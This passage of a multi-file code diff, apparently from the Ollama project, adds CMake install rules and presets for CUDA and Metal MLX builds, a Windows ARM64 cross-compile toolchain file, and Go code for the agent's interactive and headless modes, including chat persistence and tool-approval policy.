cuda_fp16.hpp
|
||||
cuda_fp8.h
|
||||
cuda_fp8.hpp
|
||||
cuda_runtime_api.h
|
||||
device_types.h
|
||||
driver_types.h
|
||||
math_constants.h
|
||||
surface_types.h
|
||||
texture_types.h
|
||||
vector_functions.h
|
||||
vector_functions.hpp
|
||||
vector_types.h
|
||||
)
|
||||
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
|
||||
install(FILES "${_cuda_inc}/${_hdr}"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX)
|
||||
endforeach()
|
||||
# Subdirectory headers.
|
||||
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX
|
||||
FILES_MATCHING PATTERN "*.h")
|
||||
install(FILES "${_cuda_inc}/crt/host_defines.h"
|
||||
DESTINATION "${_dst}/crt"
|
||||
COMPONENT MLX)
|
||||
if(NOT WIN32 AND NOT APPLE)
|
||||
install(CODE "
|
||||
set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
|
||||
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
|
||||
if(NOT EXISTS \${_link})
|
||||
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
|
||||
endif()
|
||||
" COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
|
||||
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
|
||||
# dlfcn-win32 is a known CMake target with its own install rules (which install
|
||||
# to the wrong destination). We must install it explicitly here.
|
||||
if(WIN32)
|
||||
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Manually install CUDA runtime libraries that MLX loads via dlopen
|
||||
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
|
||||
if(CUDAToolkit_FOUND)
|
||||
file(GLOB MLX_CUDA_LIBS
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
|
||||
if(MLX_CUDA_LIBS)
|
||||
install(FILES ${MLX_CUDA_LIBS}
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX_VENDOR)
|
||||
endif()
|
||||
endif()
|
||||
@@ -0,0 +1,90 @@
|
||||
{
|
||||
"version": 3,
|
||||
"configurePresets": [
|
||||
{
|
||||
"name": "default",
|
||||
"binaryDir": "${sourceDir}/../../build/mlx",
|
||||
"installDir": "${sourceDir}/../../dist",
|
||||
"cacheVariables": {
|
||||
"CMAKE_BUILD_TYPE": "Release",
|
||||
"CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
|
||||
"OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_base",
|
||||
"hidden": true,
|
||||
"inherits": [ "default" ],
|
||||
"cacheVariables": {
|
||||
"CMAKE_CUDA_FLAGS": "-t 2",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_linux",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_windows",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
|
||||
"cacheVariables": {
|
||||
"MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_user_arch",
|
||||
"inherits": [ "mlx_cuda_v13_base" ],
|
||||
"binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v3",
|
||||
"inherits": [ "default" ],
|
||||
"binaryDir": "${sourceDir}/../../build/metal-v3",
|
||||
"cacheVariables": {
|
||||
"CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_metal_v3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v4",
|
||||
"inherits": [ "default" ],
|
||||
"binaryDir": "${sourceDir}/../../build/metal-v4",
|
||||
"cacheVariables": {
|
||||
"CMAKE_OSX_DEPLOYMENT_TARGET": "26.0",
|
||||
"OLLAMA_RUNNER_DIR": "mlx_metal_v4"
|
||||
}
|
||||
}
|
||||
],
|
||||
"buildPresets": [
|
||||
{
|
||||
"name": "mlx_cuda_v13_linux",
|
||||
"configurePreset": "mlx_cuda_v13_linux",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_windows",
|
||||
"configurePreset": "mlx_cuda_v13_windows",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_cuda_v13_user_arch",
|
||||
"configurePreset": "mlx_cuda_v13_user_arch",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v3",
|
||||
"configurePreset": "mlx_metal_v3",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
},
|
||||
{
|
||||
"name": "mlx_metal_v4",
|
||||
"configurePreset": "mlx_metal_v4",
|
||||
"targets": [ "mlx", "mlxc" ]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
|
||||
message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
|
||||
endif()
|
||||
if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
|
||||
message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
|
||||
endif()
|
||||
|
||||
file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
|
||||
if(NOT _mlx_c_headers)
|
||||
message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
|
||||
endif()
|
||||
|
||||
file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
|
||||
file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")
|
||||
@@ -0,0 +1,69 @@
|
||||
set(CMAKE_SYSTEM_NAME Windows)
|
||||
set(CMAKE_SYSTEM_PROCESSOR ARM64)
|
||||
|
||||
set(_ollama_llvm_mingw_hints)
|
||||
if(DEFINED ENV{ProgramFiles})
|
||||
file(GLOB _ollama_program_files_llvm_mingw_bins
|
||||
LIST_DIRECTORIES true
|
||||
"$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
|
||||
list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
|
||||
list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
|
||||
endif()
|
||||
if(DEFINED ENV{LOCALAPPDATA})
|
||||
file(GLOB _ollama_winget_llvm_mingw_bins
|
||||
LIST_DIRECTORIES true
|
||||
"$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
|
||||
list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
|
||||
list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
|
||||
endif()
|
||||
|
||||
if(NOT CMAKE_C_COMPILER)
|
||||
find_program(CMAKE_C_COMPILER
|
||||
NAMES aarch64-w64-mingw32-gcc
|
||||
HINTS ${_ollama_llvm_mingw_hints}
|
||||
REQUIRED)
|
||||
endif()
|
||||
|
||||
if(NOT CMAKE_CXX_COMPILER)
|
||||
find_program(CMAKE_CXX_COMPILER
|
||||
NAMES aarch64-w64-mingw32-g++
|
||||
HINTS ${_ollama_llvm_mingw_hints}
|
||||
REQUIRED)
|
||||
endif()
|
||||
|
||||
get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
|
||||
|
||||
if(NOT HOST_CXX_COMPILER)
|
||||
find_program(_ollama_path_host_cxx
|
||||
NAMES clang++ g++
|
||||
NO_CMAKE_FIND_ROOT_PATH)
|
||||
if(_ollama_path_host_cxx)
|
||||
set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
|
||||
endif()
|
||||
endif()
|
||||
if(NOT HOST_CXX_COMPILER)
|
||||
find_program(_ollama_mingw_host_cxx
|
||||
NAMES x86_64-w64-mingw32-g++
|
||||
HINTS "${_ollama_llvm_mingw_bin_dir}"
|
||||
REQUIRED)
|
||||
if(CMAKE_HOST_WIN32)
|
||||
# llama.cpp builds a small host-only UI embedding tool during
|
||||
# cross-compiles, but currently models HOST_CXX_COMPILER as only an
|
||||
# executable path and has no companion host flags hook. When the host
|
||||
# compiler is llvm-mingw, the generated host tool otherwise depends on
|
||||
# llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
|
||||
# explicit: wrap the compiler only to add -static for this host tool.
|
||||
set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
|
||||
file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
|
||||
file(WRITE "${_ollama_host_cxx_wrapper}"
|
||||
"@echo off\r\n"
|
||||
"\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
|
||||
set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
|
||||
else()
|
||||
set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
|
||||
endif()
|
||||
endif()
|
||||
set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
|
||||
|
||||
string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
|
||||
string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
|
||||
@@ -0,0 +1,885 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
coreagent "github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/agent/skills"
|
||||
agentstore "github.com/ollama/ollama/agent/store"
|
||||
agenttools "github.com/ollama/ollama/agent/tools"
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/filedata"
|
||||
"github.com/ollama/ollama/cmd/launch"
|
||||
agentchat "github.com/ollama/ollama/cmd/tui/chat"
|
||||
"github.com/ollama/ollama/format"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
"github.com/ollama/ollama/internal/modelref"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
type AgentTUIOptions struct {
|
||||
Model string
|
||||
Prompt string
|
||||
Messages []api.Message
|
||||
System string
|
||||
Images []api.ImageData
|
||||
Format string
|
||||
Options map[string]any
|
||||
Think *api.ThinkValue
|
||||
KeepAlive *api.Duration
|
||||
ContextWindowTokens int
|
||||
Resume bool
|
||||
AutoApproveTools bool
|
||||
Policy coreagent.RunPolicy
|
||||
Verbose bool
|
||||
MultiModal bool
|
||||
Skill string
|
||||
Skills *skills.Catalog
|
||||
}
|
||||
|
||||
func agentOptionsFromRunOptions(opts runOptions) AgentTUIOptions {
|
||||
return AgentTUIOptions{
|
||||
Model: opts.Model,
|
||||
Prompt: opts.Prompt,
|
||||
Messages: opts.Messages,
|
||||
System: opts.System,
|
||||
Images: opts.Images,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
Resume: opts.Resume,
|
||||
AutoApproveTools: opts.AutoApproveTools,
|
||||
Verbose: opts.Verbose,
|
||||
MultiModal: opts.MultiModal,
|
||||
}
|
||||
}
|
||||
|
||||
type agentSurface int
|
||||
|
||||
const (
|
||||
agentSurfaceTUI agentSurface = iota
|
||||
agentSurfaceHeadless
|
||||
)
|
||||
|
||||
func resolveAgentRunPolicy(opts AgentTUIOptions, surface agentSurface) coreagent.RunPolicy {
|
||||
policy := opts.Policy
|
||||
if surface == agentSurfaceHeadless {
|
||||
policy.ToolMode = coreagent.ToolModeDisabled
|
||||
}
|
||||
if opts.AutoApproveTools {
|
||||
policy.ToolMode = coreagent.ToolModeFullAccess
|
||||
}
|
||||
return policy
|
||||
}
|
||||
|
||||
type agentRunSetup struct {
|
||||
opts AgentTUIOptions
|
||||
client *api.Client
|
||||
cwd string
|
||||
store *agentstore.Store
|
||||
newChatID func(context.Context) (string, error)
|
||||
chatID string
|
||||
messages []api.Message
|
||||
skills *skills.Catalog
|
||||
registry *coreagent.Registry
|
||||
approval coreagent.ApprovalHandler
|
||||
}
|
||||
|
||||
func (s *agentRunSetup) close() {
|
||||
if s != nil && s.store != nil {
|
||||
_ = s.store.Close()
|
||||
s.store = nil
|
||||
}
|
||||
}
|
||||
|
||||
func newAgentRunSetup(cmd *cobra.Command, opts AgentTUIOptions, resumeLatestWithoutModel bool) (*agentRunSetup, error) {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cwd, err := os.Getwd()
|
||||
if err != nil {
|
||||
cwd = ""
|
||||
}
|
||||
|
||||
var store *agentstore.Store
|
||||
if openedStore, err := agentstore.New(""); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat persistence unavailable: %v\n", err)
|
||||
} else {
|
||||
store = openedStore
|
||||
}
|
||||
|
||||
newChatID := func(ctx context.Context) (string, error) {
|
||||
u, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
u = uuid.Must(uuid.NewRandom())
|
||||
}
|
||||
chatID := u.String()
|
||||
if store != nil {
|
||||
if err := store.EnsureChat(ctx, chatID, ""); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return chatID, nil
|
||||
}
|
||||
|
||||
chatID := ""
|
||||
var resumedMessages []api.Message
|
||||
if opts.Resume {
|
||||
if store == nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m chat resume unavailable: persistence is disabled\n")
|
||||
} else {
|
||||
chat, err := resumeAgentChat(cmd.Context(), store, opts.Model, resumeLatestWithoutModel)
|
||||
if err == nil {
|
||||
chatID = chat.ID
|
||||
if opts.Model == "" {
|
||||
opts.Model = chat.Model
|
||||
}
|
||||
resumedMessages = chat.Messages
|
||||
} else if errors.Is(err, sql.ErrNoRows) {
|
||||
if resumeLatestWithoutModel && opts.Model == "" {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, errors.New("no saved chat to resume; pass a model to start a new chat")
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m no saved chat for %s; starting a new chat\n", opts.Model)
|
||||
} else if resumeLatestWithoutModel {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, fmt.Errorf("could not resume chat: %w", err)
|
||||
} else {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not resume chat: %v\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(opts.Model) == "" {
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
return nil, errors.New("model is required")
|
||||
}
|
||||
if chatID == "" {
|
||||
var err error
|
||||
chatID, err = newChatID(cmd.Context())
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not create persistent chat: %v\n", err)
|
||||
if store != nil {
|
||||
_ = store.Close()
|
||||
}
|
||||
store = nil
|
||||
chatID, _ = newChatID(cmd.Context())
|
||||
}
|
||||
}
|
||||
if store != nil {
|
||||
if err := store.SetChatModel(cmd.Context(), chatID, opts.Model); err != nil {
|
||||
_ = store.Close()
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
skillCatalog := opts.Skills
|
||||
if skillCatalog == nil {
|
||||
skillCatalog = loadAgentSkills()
|
||||
}
|
||||
|
||||
registry := agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
|
||||
opts.ContextWindowTokens = contextWindowTokensForRun(cmd.Context(), client, opts.Model, opts.ContextWindowTokens)
|
||||
approval := opts.Policy.ReviewApprovalHandler(nil)
|
||||
|
||||
messages := slices.Clone(resumedMessages)
|
||||
messages = append(messages, opts.Messages...)
|
||||
|
||||
return &agentRunSetup{
|
||||
opts: opts,
|
||||
client: client,
|
||||
cwd: cwd,
|
||||
store: store,
|
||||
newChatID: newChatID,
|
||||
chatID: chatID,
|
||||
messages: messages,
|
||||
skills: skillCatalog,
|
||||
registry: registry,
|
||||
approval: approval,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func resumeAgentChat(ctx context.Context, store *agentstore.Store, modelName string, latestWithoutModel bool) (*agentstore.AgentChat, error) {
|
||||
if latestWithoutModel && modelName == "" {
|
||||
return store.LatestChat(ctx)
|
||||
}
|
||||
return store.LatestChatForModel(ctx, modelName)
|
||||
}
|
||||
|
||||
func GenerateAgentTUI(cmd *cobra.Command, opts AgentTUIOptions) error {
|
||||
opts.Policy = resolveAgentRunPolicy(opts, agentSurfaceTUI)
|
||||
setup, err := newAgentRunSetup(cmd, opts, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer setup.close()
|
||||
|
||||
opts = setup.opts
|
||||
|
||||
_, err = agentchat.Run(cmd.Context(), agentchat.Options{
|
||||
Model: opts.Model,
|
||||
ChatID: setup.chatID,
|
||||
Messages: setup.messages,
|
||||
Client: setup.client,
|
||||
Store: setup.store,
|
||||
Tools: setup.registry,
|
||||
ToolRegistryForModel: func(ctx context.Context, model string) *coreagent.Registry {
|
||||
return agentToolsRegistry(ctx, setup.client, model, setup.skills)
|
||||
},
|
||||
MultiModalForModel: func(ctx context.Context, model string) bool {
|
||||
return agentModelSupportsMultimodal(ctx, setup.client, model)
|
||||
},
|
||||
ModelOptions: func(ctx context.Context) ([]agentchat.ModelOption, error) {
|
||||
return agentModelOptions(ctx, setup.client)
|
||||
},
|
||||
OnModelSelected: func(_ context.Context, model string) error {
|
||||
return config.SetLastModel(model)
|
||||
},
|
||||
SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry) string {
|
||||
modelSystem := opts.System
|
||||
if strings.TrimSpace(model) != strings.TrimSpace(opts.Model) {
|
||||
modelSystem = agentSystemFromShow(ctx, setup.client, model)
|
||||
}
|
||||
return agentSystemPrompt(model, setup.skills, registry != nil && registry.Has("skill"), modelSystem, "")
|
||||
},
|
||||
Approval: setup.approval,
|
||||
Policy: opts.Policy,
|
||||
Skills: setup.skills,
|
||||
SystemPrompt: agentSystemPrompt(opts.Model, setup.skills, setup.registry != nil && setup.registry.Has("skill"), opts.System, ""),
|
||||
WorkingDir: setup.cwd,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Images: slices.Clone(opts.Images),
|
||||
MultiModal: opts.MultiModal,
|
||||
Verbose: opts.Verbose,
|
||||
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
}),
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
|
||||
return contextWindowTokensForRun(ctx, setup.client, model, fallback)
|
||||
},
|
||||
PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) error {
|
||||
preloadOpts := opts
|
||||
preloadOpts.Think = think
|
||||
return preloadAgentModelIfLocal(ctx, setup.client, preloadOpts, model)
|
||||
},
|
||||
CheckCloudModel: func(ctx context.Context, model, requiredPlan string) error {
|
||||
return ensureCloudModelAccess(ctx, setup.client, model, requiredPlan)
|
||||
},
|
||||
OpenBrowser: func(url string) {
|
||||
launch.OpenBrowser(url)
|
||||
},
|
||||
PollCloudAuth: func(ctx context.Context) (string, bool) {
|
||||
user, err := setup.client.Whoami(ctx)
|
||||
if err != nil || user == nil || user.Name == "" {
|
||||
return "", false
|
||||
}
|
||||
return user.Name, true
|
||||
},
|
||||
NewChat: setup.newChatID,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GenerateAgentHeadless(cmd *cobra.Command, opts AgentTUIOptions) error {
|
||||
if strings.TrimSpace(opts.Prompt) == "" {
|
||||
return errors.New("agent headless mode requires a prompt or stdin")
|
||||
}
|
||||
|
||||
opts.Policy = resolveAgentRunPolicy(opts, agentSurfaceHeadless)
|
||||
setup, err := newAgentRunSetup(cmd, opts, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer setup.close()
|
||||
|
||||
opts = setup.opts
|
||||
if opts.Model == "" {
|
||||
return errors.New("model is required")
|
||||
}
|
||||
|
||||
prompt := opts.Prompt
|
||||
images := slices.Clone(opts.Images)
|
||||
if opts.MultiModal {
|
||||
var files []filedata.File
|
||||
prompt, files, err = filedata.ExtractWithFiles(prompt)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Couldn't process file: %q\n", err)
|
||||
return err
|
||||
}
|
||||
imgs := make([]api.ImageData, 0, len(files))
|
||||
for _, file := range files {
|
||||
switch filedata.Kind(file.Path) {
|
||||
case "audio":
|
||||
fmt.Fprintf(os.Stderr, "Added audio '%s'\n", file.Path)
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "Added image '%s'\n", file.Path)
|
||||
}
|
||||
imgs = append(imgs, file.Data)
|
||||
}
|
||||
images = imgs
|
||||
}
|
||||
tools := opts.Policy.Tools(setup.registry)
|
||||
toolPrompt := ""
|
||||
if tools == nil {
|
||||
toolPrompt = "Tools are unavailable in this headless run because --auto-approve-tools was not passed. Answer directly without tool calls."
|
||||
}
|
||||
systemPrompt := agentSystemPrompt(opts.Model, setup.skills, tools != nil && tools.Has("skill"), opts.System, toolPrompt)
|
||||
newMessages := []api.Message{{Role: "user", Content: prompt, Images: images}}
|
||||
if strings.TrimSpace(opts.Skill) == "" {
|
||||
if skill, request, ok := skillFromPrompt(setup.skills, prompt); ok {
|
||||
opts.Skill = skill.Name
|
||||
prompt = request
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(opts.Skill) != "" {
|
||||
skill, ok := setup.skills.Find(opts.Skill)
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown skill: %s", opts.Skill)
|
||||
}
|
||||
manualMessages, err := agenttools.ManualSkillMessages(skill, prompt, len(setup.messages)+1)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manualMessages[0].Images = images
|
||||
newMessages = manualMessages
|
||||
}
|
||||
|
||||
runCtx, cancel := context.WithCancel(cmd.Context())
|
||||
defer cancel()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, syscall.SIGINT)
|
||||
defer signal.Stop(sigChan)
|
||||
go func() {
|
||||
select {
|
||||
case <-sigChan:
|
||||
cancel()
|
||||
case <-runCtx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
headlessSink := &agentHeadlessEventSink{}
|
||||
eventSink := coreagent.EventSink(headlessSink)
|
||||
session := &coreagent.Session{
|
||||
Client: setup.client,
|
||||
Store: setup.store,
|
||||
Events: eventSink,
|
||||
Tools: tools,
|
||||
Approval: opts.Policy.ApprovalHandler(nil),
|
||||
WorkingDir: setup.cwd,
|
||||
Compactor: coreagent.NewSimpleCompactor(setup.client, setup.store, coreagent.CompactionOptions{
|
||||
ContextWindowTokens: opts.ContextWindowTokens,
|
||||
}),
|
||||
}
|
||||
result, err := session.Run(runCtx, coreagent.RunOptions{
|
||||
ChatID: setup.chatID,
|
||||
Model: opts.Model,
|
||||
SystemPrompt: systemPrompt,
|
||||
Messages: setup.messages,
|
||||
NewMessages: newMessages,
|
||||
Format: opts.Format,
|
||||
Options: opts.Options,
|
||||
Think: opts.Think,
|
||||
KeepAlive: opts.KeepAlive,
|
||||
Policy: opts.Policy,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
headlessSink.Finish()
|
||||
if headlessSink.denied {
|
||||
return errors.New("tool execution denied")
|
||||
}
|
||||
|
||||
verbose := opts.Verbose
|
||||
if cmd != nil && cmd.Flags().Lookup("verbose") != nil {
|
||||
flagVerbose, err := cmd.Flags().GetBool("verbose")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
verbose = verbose || flagVerbose
|
||||
}
|
||||
if verbose {
|
||||
result.Latest.Summary()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func skillFromPrompt(catalog *skills.Catalog, prompt string) (skills.Skill, string, bool) {
|
||||
if catalog == nil || catalog.Empty() {
|
||||
return skills.Skill{}, "", false
|
||||
}
|
||||
prompt = strings.TrimSpace(prompt)
|
||||
if !strings.HasPrefix(prompt, "/") {
|
||||
return skills.Skill{}, "", false
|
||||
}
|
||||
command, rest, _ := strings.Cut(prompt, " ")
|
||||
skill, ok := catalog.Find(command)
|
||||
return skill, strings.TrimSpace(rest), ok
|
||||
}
|
||||
|
||||
type agentHeadlessEventSink struct {
|
||||
wroteContent bool
|
||||
contentEndedWithNewline bool
|
||||
denied bool
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) Emit(event coreagent.Event) error {
|
||||
switch event.Type {
|
||||
case coreagent.EventThinkingDelta:
|
||||
case coreagent.EventMessageDelta:
|
||||
if event.Content != "" {
|
||||
fmt.Fprint(os.Stdout, event.Content)
|
||||
s.wroteContent = true
|
||||
s.contentEndedWithNewline = strings.HasSuffix(event.Content, "\n")
|
||||
}
|
||||
case coreagent.EventToolFinished:
|
||||
s.ensureContentNewline()
|
||||
status := "done"
|
||||
if event.Status != "done" || event.Error != "" {
|
||||
status = "failed"
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "• %s %s\n", coreagent.ToolInvocationLabel(event.ToolName, event.Args), status)
|
||||
case coreagent.EventToolsUnavailable:
|
||||
fmt.Fprintln(os.Stderr, "Tools are unavailable for this model.")
|
||||
case coreagent.EventRunFinished:
|
||||
if event.Status == "denied" {
|
||||
s.denied = true
|
||||
}
|
||||
case coreagent.EventCompactionSkipped:
|
||||
if event.Content != "" {
|
||||
fmt.Fprintf(os.Stderr, "%s\n", event.Content)
|
||||
}
|
||||
case coreagent.EventError:
|
||||
if event.Error != "" {
|
||||
fmt.Fprintf(os.Stderr, "error: %s\n", event.Error)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) Finish() {
|
||||
s.ensureContentNewline()
|
||||
}
|
||||
|
||||
func (s *agentHeadlessEventSink) ensureContentNewline() {
|
||||
if s.wroteContent && !s.contentEndedWithNewline {
|
||||
fmt.Fprintln(os.Stdout)
|
||||
s.contentEndedWithNewline = true
|
||||
}
|
||||
}
|
||||
|
||||
func loadAgentSkills() *skills.Catalog {
|
||||
catalog, err := skills.LoadDefault()
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load skills: %v\n", err)
|
||||
return nil
|
||||
}
|
||||
for _, warning := range catalog.Warnings {
|
||||
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m skill ignored: %s\n", warning)
|
||||
}
|
||||
return catalog
|
||||
}
|
||||
|
||||
func agentSystemPrompt(modelName string, catalog *skills.Catalog, skillToolAvailable bool, modelSystem string, extra string) string {
|
||||
return agentSystemPromptAt(time.Now(), modelName, catalog, skillToolAvailable, modelSystem, extra)
|
||||
}
|
||||
|
||||
func agentSystemPromptAt(now time.Time, modelName string, catalog *skills.Catalog, skillToolAvailable bool, modelSystem string, extra string) string {
|
||||
var parts []string
|
||||
parts = append(parts, agentDefaultSystemPrompt(now, modelName))
|
||||
if strings.TrimSpace(modelSystem) != "" {
|
||||
parts = append(parts, strings.TrimSpace(modelSystem))
|
||||
}
|
||||
